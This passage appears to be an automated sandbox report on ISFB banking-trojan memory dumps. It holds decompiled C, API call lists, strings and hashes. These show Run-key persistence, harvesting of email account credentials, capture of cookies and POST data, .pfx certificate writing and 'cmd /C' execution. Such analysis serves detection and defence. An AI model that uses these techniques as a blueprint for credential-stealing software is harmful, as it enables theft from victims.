						 *((intOrPtr*)( *_v60 + 0x10))();
						E00398E10(_v60,  *_v60, _v12, _t326, _t330, _t330, 0);
						 *((intOrPtr*)( *_v60 + 0x14))();
						_v12 = _v60;
					}
				} else {
					 *((intOrPtr*)( *_v12 + 0xc))();
					_t261 = _v64;
					E00382B10(_t261, 0x28);
					_t251 = _t261;
					 *(_t251 + 4) = _v72 & 0x0000ffff;
					 *(_t251 + 8) = _v70 & 0x0000ffff;
					 *((short*)(_t251 + 0xc)) = _v68;
					 *((short*)(_t251 + 0xe)) = _v66;
					_t330 = _t329 - 0xc;
				}
				_t255 = _v64;
				 *_t255 = _v36;
				_v32 = _v28 + _v36;
				if( *((short*)(_t255 + 0xc)) != 1) {
					E003A0A7C();
				}
				if(_v36 == 0x28) {
					_t224 =  *(_t255 + 0xe);
					if(_t224 == 0x10 || _t224 == 0x20) {
						if( *((intOrPtr*)(_t255 + 0x10)) == 3) {
							E00398DA0(_v12, 0xc, _v32);
							_v32 = _v32 + 0xc;
							_t330 = _t330 - 0xc;
						}
					}
				}
				if( *(_t255 + 0x20) == 0) {
					 *(_t255 + 0x20) = E003A0D00( *(_t255 + 0xe));
				}
				_t327 = _v37 & 0x000000ff;
				_t267 =  *(_t255 + 0x20) * 0;
				E00398DA0(_v12,  *(_t255 + 0x20) * 0, _v32);
				_t331 = _t330 -  *(_t255 + 0x20) * 0;
				if( *(_t255 + 0x14) == 0) {
					_t307 =  *(_t255 + 0xe) & 0x0000ffff;
					_t218 = E003A0D20( *((intOrPtr*)(_t255 + 4)), 0x20, _t307);
					asm("cdq");
					_t267 = _t218 * (( *(_t255 + 8) ^ _t307) - _t307);
					 *(_t255 + 0x14) = _t218 * (( *(_t255 + 8) ^ _t307) - _t307);
				}
				_t160 =  *(_t255 + 0x14);
				if(_t331 > _t160) {
					_t331 = _t160;
				}
				if(_v37 != 0) {
					E003A0FC8(_v32);
				}
				_v16 = E003A0B90(GetDC(0));
				_push(_t333);
				_push(0x3a3e17);
				_push( *[fs:edx]);
				 *[fs:edx] = _t335;
				_t164 =  *((intOrPtr*)(_v64 + 0x10));
				if(_t164 == 0 || _t164 == 3) {
					if( *0x3d9460 == 0) {
						_v44 = CreateDIBSection(_v16, _v28, 0,  &_v24, 0, 0);
						if(_v44 == 0 || _v24 == 0) {
							if(GetLastError() != 0) {
								E0038C990(_t255, _t267, _t327, _t331);
							} else {
								E003A0A7C();
							}
						}
						_push(_t333);
						_push( *[fs:eax]);
						 *[fs:eax] = _t335;
						E00398DA0(_v12, _t331, _v24);
						_pop(_t299);
						 *[fs:eax] = _t299;
						_t300 = 0x3a3de6;
						 *[fs:eax] = _t300;
						_push(E003A3E1E);
						return ReleaseDC(0, _v16);
					} else {
						goto L27;
					}
				} else {
					L27:
					_v20 = 0;
					_v24 = E003826CC(_t331);
					_push(_t333);
					_push(0x3a3d7f);
					_push( *[fs:edx]);
					 *[fs:edx] = _t335;
					_t273 = _t331;
					E00398DA0(_v12, _t331, _v24);
					_v20 = E003A0B90(CreateCompatibleDC(_v16));
					_v48 = SelectObject(_v20, CreateCompatibleBitmap(_v16, 1, 1));
					_v56 = 0;
					_t193 =  *(_v64 + 0x20);
					if(_t193 > 0) {
						_t273 = _t193;
						_v52 = E003A1280(0, _t193);
						_v56 = SelectPalette(_v20, _v52, 0);
						RealizePalette(_v20);
					}
					_push(_t333);
					_push(0x3a3d53);
					_push( *[fs:edx]);
					 *[fs:edx] = _t335;
					_v44 = CreateDIBitmap(_v20, _v28, 4, _v24, _v28, 0);
					if(_v44 == 0) {
						if(GetLastError() != 0) {
							E0038C990(_t255, _t273, _t327, _t331);
						} else {
							E003A0A7C();
						}
					}
					_pop(_t305);
					 *[fs:eax] = _t305;
					_push(E003A3D5A);
					if(_v56 != 0) {
						SelectPalette(_v20, _v56, 0xffffffff);
					}
					return DeleteObject(SelectObject(_v20, _v48));
				}
			}

0x003a39ac
0x003a39ad
0x003a39af
0x003a39b8
0x003a39ba
0x003a39bd
0x003a39c2
0x003a39c7
0x003a39cc
0x003a39dc
0x003a39e3
0x003a39eb
0x003a39ed
0x003a39ed
0x003a3a04
0x003a3a0a
0x003a3a0f
0x003a3a10
0x003a3a15
0x003a3a18
0x003a3a1d
0x003a3a1e
0x003a3a23
0x003a3a26
0x003a3a2d
0x003a3a8c
0x003a3a8f
0x003a3a95
0x003a3a9b
0x003a3ab5
0x003a3abc
0x003a3acb
0x003a3ad0
0x003a3ade
0x003a3aea
0x003a3aea
0x003a3afa
0x003a3b0a
0x003a3b1e
0x003a3b2d
0x003a3b3f
0x003a3b45
0x003a3b45
0x003a3a2f
0x003a3a3f
0x003a3a42
0x003a3a4e
0x003a3a53
0x003a3a59
0x003a3a60
0x003a3a67
0x003a3a6f
0x003a3a73
0x003a3a73
0x003a3b48
0x003a3b4e
0x003a3b56
0x003a3b5e
0x003a3b60
0x003a3b60
0x003a3b69
0x003a3b6b
0x003a3b73
0x003a3b7f
0x003a3b8c
0x003a3b91
0x003a3b95
0x003a3b95
0x003a3b7f
0x003a3b73
0x003a3b9c
0x003a3ba7
0x003a3ba7
0x003a3bad
0x003a3bb9
0x003a3bc2
0x003a3bd4
0x003a3bda
0x003a3bdc
0x003a3be8
0x003a3bf2
0x003a3bf7
0x003a3bfa
0x003a3bfa
0x003a3bfd
0x003a3c02
0x003a3c04
0x003a3c04
0x003a3c0a
0x003a3c0f
0x003a3c0f
0x003a3c20
0x003a3c25
0x003a3c26
0x003a3c2b
0x003a3c2e
0x003a3c34
0x003a3c39
0x003a3c47
0x003a3d9d
0x003a3da4
0x003a3db3
0x003a3dbc
0x003a3db5
0x003a3db5
0x003a3db5
0x003a3db3
0x003a3dc3
0x003a3dc9
0x003a3dcc
0x003a3dd7
0x003a3dde
0x003a3de1
0x003a3e00
0x003a3e03
0x003a3e06
0x003a3e16
0x00000000
0x00000000
0x00000000
0x003a3c4d
0x003a3c4d
0x003a3c4f
0x003a3c59
0x003a3c5e
0x003a3c5f
0x003a3c64
0x003a3c67
0x003a3c6d
0x003a3c72
0x003a3c85
0x003a3c9f
0x003a3ca4
0x003a3caa
0x003a3caf
0x003a3cb1
0x003a3cbd
0x003a3ccf
0x003a3cd6
0x003a3cd6
0x003a3cdd
0x003a3cde
0x003a3ce3
0x003a3ce6
0x003a3cff
0x003a3d06
0x003a3d0f
0x003a3d18
0x003a3d11
0x003a3d11
0x003a3d11
0x003a3d0f
0x003a3d1f
0x003a3d22
0x003a3d25
0x003a3d2e
0x003a3d3a
0x003a3d3a
0x003a3d52
0x003a3d52

APIs

GetDC.USER32(00000000), ref: 003A3C16
CreateCompatibleDC.GDI32(00000001), ref: 003A3C7B
CreateCompatibleBitmap.GDI32(00000001,00000001,00000001), ref: 003A3C90
SelectObject.GDI32(?,00000000), ref: 003A3C9A
SelectPalette.GDI32(?,?,00000000), ref: 003A3CCA
RealizePalette.GDI32(?), ref: 003A3CD6
CreateDIBitmap.GDI32(?,?,00000004,00000000,?,00000000), ref: 003A3CFA
GetLastError.KERNEL32(?,?,00000004,00000000,?,00000000,00000000,003A3D53,?,?,00000000,00000001,00000001,00000001,00000001,00000000), ref: 003A3D08
SelectPalette.GDI32(?,00000000,000000FF), ref: 003A3D3A
SelectObject.GDI32(?,?), ref: 003A3D47
DeleteObject.GDI32(00000000), ref: 003A3D4D

Strings

(, xrefs: 003A3B65
$S9, xrefs: 003A3AAB
BM, xrefs: 003A3AD0

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: Select$CreateObjectPalette$BitmapCompatible$DeleteErrorLastRealize
String ID: $S9$($BM
API String ID: 2831685396-2381833737
Opcode ID: 80cb5e895c7c2b15153199065056bb8c61985845bae80b7e7cc4105f728c989c
Instruction ID: b0944a872bbbcba4caa88cf0053868ef4937aa78fdca87ef95c8ebdf464f79ab
Opcode Fuzzy Hash: 80cb5e895c7c2b15153199065056bb8c61985845bae80b7e7cc4105f728c989c
Instruction Fuzzy Hash: 10D12A75A002189FDF16EFA8C885BAEBBF5FF4A300F158469F904EB295D7349940CB61

Uniqueness

Uniqueness Score: -1.00%

Function 02341C9B, Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 129memoryregistrythreadCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,?), ref: 02341CB6
RtlEnterCriticalSection.NTDLL(00000000), ref: 02341CD3
CloseHandle.KERNEL32(?), ref: 02341D23
DeleteFileW.KERNEL32(00000000,?,?,?,00000000), ref: 02341D2D
GetLastError.KERNEL32 ref: 02341D37
HeapFree.KERNEL32(00000000,00000000), ref: 02341D48
HeapFree.KERNEL32(00000000,?,?), ref: 02341D6A
HeapFree.KERNEL32(00000000,?), ref: 02341DA1
RtlLeaveCriticalSection.NTDLL(00000000), ref: 02341DB5
RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 02341DBE
SuspendThread.KERNEL32(?), ref: 02341DCD
CreateEventA.KERNEL32(02367160,00000001,00000000), ref: 02341DE1
SetEvent.KERNEL32(00000000), ref: 02341DEE
CloseHandle.KERNEL32(00000000), ref: 02341DF5
Sleep.KERNEL32(000001F4), ref: 02341E08
ResumeThread.KERNEL32(?), ref: 02341E2C

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 02341CA7

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: CloseFreeHeap$CriticalEventHandleSectionThread$CreateDeleteEnterErrorFileLastLeaveOpenResumeSleepSuspend
String ID: Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 1011176505-1428018034
Opcode ID: 2b43c0256aa5cb2425c460b8245c937cdf85edd872998bbbdd5689a6ff0e2a2b
Instruction ID: 5c59ff57711ea9570c5311eee0d05bfda956ac670bda6606a7084194c2db71c8
Opcode Fuzzy Hash: 2b43c0256aa5cb2425c460b8245c937cdf85edd872998bbbdd5689a6ff0e2a2b
Instruction Fuzzy Hash: AD413BF2D40509FFDB109FA4DD8C9ADBBBDFB05749F1488A9E50692110CB3169A5CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02347B7C, Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 113memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32 ref: 02347B99
RtlAllocateHeap.NTDLL(00000000,-0000000C), ref: 02347BA6
lstrcpy.KERNEL32(00000000,?), ref: 02347BBB
StrRChrA.SHLWAPI(00000000,00000000,0000005C), ref: 02347BC5
GetFileAttributesA.KERNEL32(?), ref: 02347BE4
HeapFree.KERNEL32(00000000,00000000), ref: 02347CA5
HeapFree.KERNEL32(00000000,00000000), ref: 02347CB4
HeapFree.KERNEL32(00000000,00000000), ref: 02347CC3

Strings

makecab.exe /F "%s", xrefs: 02347C43
\setup.inf, xrefs: 02347C68
\setup.rpt, xrefs: 02347C7E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$AllocateAttributesFilelstrcpylstrlen
String ID: \setup.inf$\setup.rpt$makecab.exe /F "%s"
API String ID: 530445200-4071826726
Opcode ID: c76805ec693dd75128c285f6221e729da7fcba3fc5c911f7edd12abe5d71a07b
Instruction ID: cf1a46a13cbc7b9e880a0b19d8fb32b64fea73e9562be7b2705628d0ca6ae3a3
Opcode Fuzzy Hash: c76805ec693dd75128c285f6221e729da7fcba3fc5c911f7edd12abe5d71a07b
Instruction Fuzzy Hash: 2631C5B1945310BFE7116F249C49F2BBBEDEF85B44F004959F94462151CB35EA188FA2

Uniqueness

Uniqueness Score: -1.00%

Function 0234F98A, Relevance: 29.8, APIs: 16, Strings: 1, Instructions: 91stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,00000000,?,?,\sols,?,02356E94,?,?,\sols,00000000,%userprofile%\AppData\Local\,?,00000000), ref: 0234F9A1
lstrlenW.KERNEL32(?,?,00000000), ref: 0234F9B1
lstrlenW.KERNEL32(?,?,00000000), ref: 0234F9BF
lstrlenW.KERNEL32(?,?,00000000), ref: 0234F9C7
RtlAllocateHeap.NTDLL(00000000,?), ref: 0234F9DF
lstrcpyW.KERNEL32(00000000,?), ref: 0234F9F4
lstrcatW.KERNEL32(00000000,?), ref: 0234FA0B
CreateDirectoryW.KERNEL32(00000000,00000000,?,00000000), ref: 0234FA0F
lstrcatW.KERNEL32(00000000,023633F0), ref: 0234FA1B
lstrcatW.KERNEL32(00000000,?), ref: 0234FA23
CreateDirectoryW.KERNEL32(00000000,00000000,?,00000000), ref: 0234FA28
lstrcatW.KERNEL32(00000000,023633F0), ref: 0234FA34
lstrcatW.KERNEL32(00000000,00000002), ref: 0234FA4F
lstrcatW.KERNEL32(00000000,?), ref: 0234FA5C
CopyFileW.KERNEL32(?,00000000,00000000), ref: 0234FA64
HeapFree.KERNEL32(00000000,00000000), ref: 0234FA72

Strings

\sols, xrefs: 0234F98F

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrcat$lstrlen$CreateDirectoryHeap$AllocateCopyFileFreelstrcpy
String ID: \sols
API String ID: 3635185113-25449109
Opcode ID: ba5b8af2cccd02e4181bb5868b5825e3579663ae8a1de96fc944138de3218acc
Instruction ID: 97d33c745ce0f0da8cfba4e846568ca141a8c9dd24155b6767d35d693000a8a3
Opcode Fuzzy Hash: ba5b8af2cccd02e4181bb5868b5825e3579663ae8a1de96fc944138de3218acc
Instruction Fuzzy Hash: 8221BD72944214AFC321AF61DC88D2FBBFCFF89B98F04896DF54652020CB35A925DA61

Uniqueness

Uniqueness Score: -1.00%

Function 02345732, Relevance: 28.2, APIs: 6, Strings: 10, Instructions: 172stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00000000,?,023694DB,Port,?,023694DB,Secure_Connection,?,023694DB,User_Name,?,023694DB,Server), ref: 0234580A
lstrcpyW.KERNEL32(00000000,023697A4), ref: 02345822
lstrcatW.KERNEL32(00000000,00000000), ref: 0234582A
lstrlenW.KERNEL32(00000000,?,023694DB,Password2,?,023694DB,Port,?,023694DB,Secure_Connection,?,023694DB,User_Name,?,023694DB,Server), ref: 0234586F
memcpy.NTDLL(00000000,?,?,?), ref: 023458C8
LocalFree.KERNEL32(?,?), ref: 023458DF

Strings

IMAP, xrefs: 023457A7
Password2, xrefs: 02345854
P, xrefs: 0234579E
HTTPMail, xrefs: 02345797
Secure_Connection, xrefs: 023457DF
POP3, xrefs: 02345787
SMTP, xrefs: 02345777
Port, xrefs: 023457EE
User_Name, xrefs: 023457D3
Server, xrefs: 023457BC

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$FreeLocallstrcatlstrcpymemcpy
String ID: HTTPMail$IMAP$P$POP3$Password2$Port$SMTP$Secure_Connection$Server$User_Name
API String ID: 3649579052-2088458108
Opcode ID: 65bcc3c8f76b7cebf04e41c72e13733ed53060746e64cee656b53917920e0665
Instruction ID: c03d70c394d215d8c032aaebd787f9ba03e6383e8773a8033ab444845abdbba8
Opcode Fuzzy Hash: 65bcc3c8f76b7cebf04e41c72e13733ed53060746e64cee656b53917920e0665
Instruction Fuzzy Hash: D2517E71E00219ABDF21AFA5CC48EAFBBFEEF58304F408465E901A2150DF75A655CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02345931, Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 156memorystringfileCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 02345948
lstrlen.KERNEL32(?), ref: 0234594F
RtlAllocateHeap.NTDLL(00000000,?), ref: 02345966
lstrcpy.KERNEL32(00000000,?), ref: 02345977
lstrcat.KERNEL32(?,?), ref: 02345993
lstrcat.KERNEL32(?,.pfx), ref: 0234599D
RtlAllocateHeap.NTDLL(00000000,?), ref: 023459AE
RtlAllocateHeap.NTDLL(00000000,?), ref: 02345A46
CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000), ref: 02345A76
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 02345A8F
CloseHandle.KERNEL32(00000000), ref: 02345A99
HeapFree.KERNEL32(00000000,?), ref: 02345AA9
HeapFree.KERNEL32(00000000,00000000), ref: 02345AC4
HeapFree.KERNEL32(00000000,?), ref: 02345AD4

Strings

.pfx, xrefs: 02345995
ISFB, xrefs: 02345A29, 02345A2E, 02345A56

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$AllocateFree$Filelstrcatlstrlen$CloseCreateHandleWritelstrcpy
String ID: .pfx$ISFB
API String ID: 333890978-2368466137
Opcode ID: 7cfb8c3ca89491530a6b44ef5b74ae6c9151ce6c4bdd2e16448316c23c501708
Instruction ID: 0cd28aaa0139b55b244092fab1aca5f8773c12d726c8ee0f890e4549b0301cbf
Opcode Fuzzy Hash: 7cfb8c3ca89491530a6b44ef5b74ae6c9151ce6c4bdd2e16448316c23c501708
Instruction Fuzzy Hash: 4B515EB5C40219BFDB129FA4DC88CAE7BBDEB04394B5184A5F515A7110C7319E69CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0234A76B, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 172stringmemoryCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(04909830,00000000,00000000,?,00000000,00000000,00000000,?,0000000D,00000000,?,?,?,?,?,00000000), ref: 0234A78E
lstrlen.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,?,0000000D,00000000,?,?,?,?,?,00000000), ref: 0234A79D
lstrlen.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,?,0000000D,00000000,?,?,?,?,?,00000000), ref: 0234A7AA
lstrlen.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0234A7C2
lstrlen.KERNEL32(0000000D,00000000,00000000,?,00000000,00000000,00000000), ref: 0234A7CE
RtlAllocateHeap.NTDLL(00000000,?), ref: 0234A7EA
wsprintfA.USER32 ref: 0234A8A2
memcpy.NTDLL(00000000,?,?), ref: 0234A8E7
InterlockedExchange.KERNEL32(023670A0,00000000), ref: 0234A903
HeapFree.KERNEL32(00000000,00000000), ref: 0234A946

Part of subcall function 0235D56C: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 0235D595
Part of subcall function 0235D56C: memcpy.NTDLL(00000000,?,?), ref: 0235D5A8
Part of subcall function 0235D56C: RtlEnterCriticalSection.NTDLL(P)(), ref: 0235D5B9
Part of subcall function 0235D56C: RtlLeaveCriticalSection.NTDLL(P)(), ref: 0235D5CE
Part of subcall function 0235D56C: HeapFree.KERNEL32(00000000,00000000,?), ref: 0235D606

Strings

Cookie: , xrefs: 0234A83C
Accept-Language: , xrefs: 0234A822
Referer: , xrefs: 0234A80E
USER: %s, xrefs: 0234A89C
URL: %sREF: %sLANG: %sAGENT: %sCOOKIE: %sPOST: , xrefs: 0234A8CD

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateCriticalFreeSectionmemcpy$EnterExchangeInterlockedLeavewsprintf
String ID: Accept-Language: $Cookie: $Referer: $URL: %sREF: %sLANG: %sAGENT: %sCOOKIE: %sPOST: $USER: %s
API String ID: 4198405257-1852062776
Opcode ID: 29a6b40c4b5754e3dc6860a69f2361e3601dde2de0ae008876668a2fdfab77d7
Instruction ID: ca315ad5701d39de62a95660e4258bb25f55c7d6e7562f620e9a4ae90b6c9182
Opcode Fuzzy Hash: 29a6b40c4b5754e3dc6860a69f2361e3601dde2de0ae008876668a2fdfab77d7
Instruction Fuzzy Hash: E6515DB1A40209AFDF119FA5CC98EAE7BFDEB08344F048569F805E6210DB74AA55CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0235FCE0, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 146registrystringfileCOMMON

Download Yara Rule

APIs

RegOpenKeyA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000), ref: 0235FD04

Part of subcall function 02344856: RegCloseKey.ADVAPI32(?), ref: 023448DD

RegOpenKeyA.ADVAPI32(80000001,?,00000000), ref: 0235FD3F
lstrcpyW.KERNEL32(-00000002,00000000), ref: 0235FDA0
lstrcatW.KERNEL32(00000000,.exe), ref: 0235FDAE
lstrcpyW.KERNEL32(?), ref: 0235FDC8
lstrcatW.KERNEL32(00000000,.dll), ref: 0235FDD0

Part of subcall function 0234ED0A: lstrlenW.KERNEL32(00000000,.dll,00000000,00000000,02347945,00000000,.dll,00000000,00001000,00000000,00000000,02342185,?,02342185), ref: 0234ED18
Part of subcall function 0234ED0A: lstrlen.KERNEL32(DllRegisterServer,?,02342185), ref: 0234ED26
Part of subcall function 0234ED0A: RtlAllocateHeap.NTDLL(00000000,00000022), ref: 0234ED3B

RegCloseKey.ADVAPI32(?), ref: 0235FE2E

Part of subcall function 02360B85: lstrlenW.KERNEL32(?,00000000,02361889,00000000,?,?,0235242E,?,?,02341D11,?,?,?,00000000), ref: 02360B91
Part of subcall function 02360B85: memcpy.NTDLL(00000000,?,00000000,00000002,?,?,0235242E,?,?,02341D11,?,?,?,00000000), ref: 02360BB9
Part of subcall function 02360B85: memset.NTDLL ref: 02360BCB

CreateFileW.KERNEL32(00000000,80000000,00000000,00000000,00000003,00000080,00000000), ref: 0235FE63
GetLastError.KERNEL32 ref: 0235FE6E
HeapFree.KERNEL32(00000000,00000000), ref: 0235FE84
RegCloseKey.ADVAPI32(00000000,00000000,00000000,00000000,?), ref: 0235FE96

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 0235FCF9
.dll, xrefs: 0235FDCA
.exe, xrefs: 0235FDA8

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Closelstrlen$HeapOpenlstrcatlstrcpy$AllocateCreateErrorFileFreeLastmemcpymemset
String ID: .dll$.exe$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 1430934453-2351516416
Opcode ID: c2207c4d956e6cfb1858239567528b2498e1bce0d5859ac92cd921809a8d181e
Instruction ID: ed5356954002f0c2e0864dd2a9d2343eb1e68c870276b6575602a9a073f33eab
Opcode Fuzzy Hash: c2207c4d956e6cfb1858239567528b2498e1bce0d5859ac92cd921809a8d181e
Instruction Fuzzy Hash: 58418071D40115FBDB21ABA0CC48EAEBBBEFF05B54F148859E909A3115DB31DA11DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0234BF48, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 121processstringCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0234BF5D

Part of subcall function 023411F3: lstrlen.KERNEL32(?,00000008,-00000007,?,00000000,02348BB2,?,00000000,-00000007,02354CE5,-00000007,?,00000000), ref: 02341202
Part of subcall function 023411F3: mbstowcs.NTDLL ref: 0234121E

lstrlenW.KERNEL32(00000000,00000000,00000000,771F49F0,00000000,cmd /C "%s> %s1"), ref: 0234BF98
wcstombs.NTDLL ref: 0234BFA2
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?), ref: 0234BFD6
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,023556BA), ref: 0234C002
TerminateProcess.KERNEL32(?,000003E5), ref: 0234C018
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,023556BA), ref: 0234C02C
GetLastError.KERNEL32 ref: 0234C030
GetExitCodeProcess.KERNEL32(?,00000001), ref: 0234C050
CloseHandle.KERNEL32(?), ref: 0234C05F
CloseHandle.KERNEL32(?), ref: 0234C064
GetLastError.KERNEL32 ref: 0234C068

Strings

D, xrefs: 0234BF73
cmd /C "%s> %s1", xrefs: 0234BF4E

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Process$CloseErrorHandleLastMultipleObjectsWaitlstrlen$CodeCreateExitTerminatembstowcsmemsetwcstombs
String ID: D$cmd /C "%s> %s1"
API String ID: 2463014471-2226621151
Opcode ID: f222d396c0b05544f36db8fe839eaf66985f9937da1d1804335bf1e4826f5d73
Instruction ID: bfd8341fc6db47f810d3a17a46b59c1a5b6f0dc22df53f15cceac78aed7be9f5
Opcode Fuzzy Hash: f222d396c0b05544f36db8fe839eaf66985f9937da1d1804335bf1e4826f5d73
Instruction Fuzzy Hash: 334138B5D0021CBFDF11AFA0CC859EEBBBDFB08744F1088AAE505A6110DB35AA54CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0235019D, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 89registrymemorystringCOMMON

Download Yara Rule

APIs

RtlImageNtHeader.NTDLL(00000000), ref: 023501AE
GetTempPathA.KERNEL32(00000000,00000000), ref: 023501C6
RtlAllocateHeap.NTDLL(00000000,00000011), ref: 023501D5
GetTempPathA.KERNEL32(00000001,00000000), ref: 023501E8
GetTickCount.KERNEL32(?,?,02342197,00000094,00000000,00000000,?,00000000,00000094,00000000), ref: 023501EC
wsprintfA.USER32 ref: 023501FC
RegCreateKeyA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000), ref: 02350230
StrRChrA.SHLWAPI(00000000,00000000,00000000), ref: 02350248
lstrlen.KERNEL32(00000000), ref: 02350252
RegSetValueExA.ADVAPI32(00000001,00000001,00000000,00000001,00000000,00000001), ref: 02350262
RegCloseKey.ADVAPI32(?), ref: 0235026E
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0235027C

Strings

Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 02350226
%lu.exe, xrefs: 023501F6

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: HeapPathTemp$AllocateCloseCountCreateFreeHeaderImageTickValuelstrlenwsprintf
String ID: %lu.exe$Software\Microsoft\Windows\CurrentVersion\Run
API String ID: 3778301466-2576086316
Opcode ID: e2b2ea00185564e58354f786719bd4a542ac9feafcc7e71ae2de4b6192b1cbbc
Instruction ID: 3c1c4891a0c33785963ab0fe35c67e545de2d60518294e5d148e0ec28635257c
Opcode Fuzzy Hash: e2b2ea00185564e58354f786719bd4a542ac9feafcc7e71ae2de4b6192b1cbbc
Instruction Fuzzy Hash: 312157B1841228FFDB119FA1DC8CDAF7E7CEF09794F008825F90A92100D7768A658AA0

Uniqueness

Uniqueness Score: -1.00%

Function 0234753B, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 188memorystringthreadCOMMON

Download Yara Rule

APIs

Part of subcall function 023418FE: RtlAllocateHeap.NTDLL(00000000,00000105), ref: 02341943
Part of subcall function 023418FE: RtlAllocateHeap.NTDLL(00000000,00000105), ref: 0234195B
Part of subcall function 023418FE: WaitForSingleObject.KERNEL32(00000000), ref: 02341A21
Part of subcall function 023418FE: HeapFree.KERNEL32(00000000,?), ref: 02341A4A
Part of subcall function 023418FE: HeapFree.KERNEL32(00000000,?), ref: 02341A5A
Part of subcall function 023418FE: RegCloseKey.ADVAPI32(?,?,00000000,?), ref: 02341A63

lstrcmp.KERNEL32(?,?), ref: 023475B2
HeapFree.KERNEL32(00000000,?), ref: 023475DE
GetCurrentThreadId.KERNEL32(?,?,00000000,?), ref: 02347684
GetCurrentThread.KERNEL32 ref: 02347695
HeapFree.KERNEL32(00000000,00000000,?), ref: 023476D2
HeapFree.KERNEL32(00000000,?,?), ref: 023476E6
RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 023476F4
wsprintfA.USER32 ref: 02347705
lstrlen.KERNEL32(00000000,00000000), ref: 02347710

Part of subcall function 02352355: lstrlen.KERNEL32(00000000,00000000,00000000,00000008,02356F6F,00000000,00000000,00000000,00000020,00000000,?,023535D9,00000020,00000000,?,00000000), ref: 0235235F
Part of subcall function 02352355: lstrcpy.KERNEL32(00000000,00000000), ref: 02352383
Part of subcall function 02352355: StrRChrA.SHLWAPI(00000000,00000000,0000002E), ref: 0235238A
Part of subcall function 02352355: lstrcat.KERNEL32(00000000,?), ref: 023523E1

HeapFree.KERNEL32(00000000,00000000,0000010D), ref: 0234772A
HeapFree.KERNEL32(00000000,00000000), ref: 0234773B
HeapFree.KERNEL32(00000000,?), ref: 02347747

Strings

DLL load status: %u, xrefs: 023476FF

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Heap$Free$Allocate$CurrentThreadlstrlen$CloseObjectSingleWaitlstrcatlstrcmplstrcpywsprintf
String ID: DLL load status: %u
API String ID: 773763258-2598350583
Opcode ID: 488f2358ad67317a601a32a9bed53181fae54fe9f344812e896e377ad1d3c430
Instruction ID: 7e1ddc550cb165f59cd30ccaa5200a5c4d0f429c5529077ec3f19aad613d0717
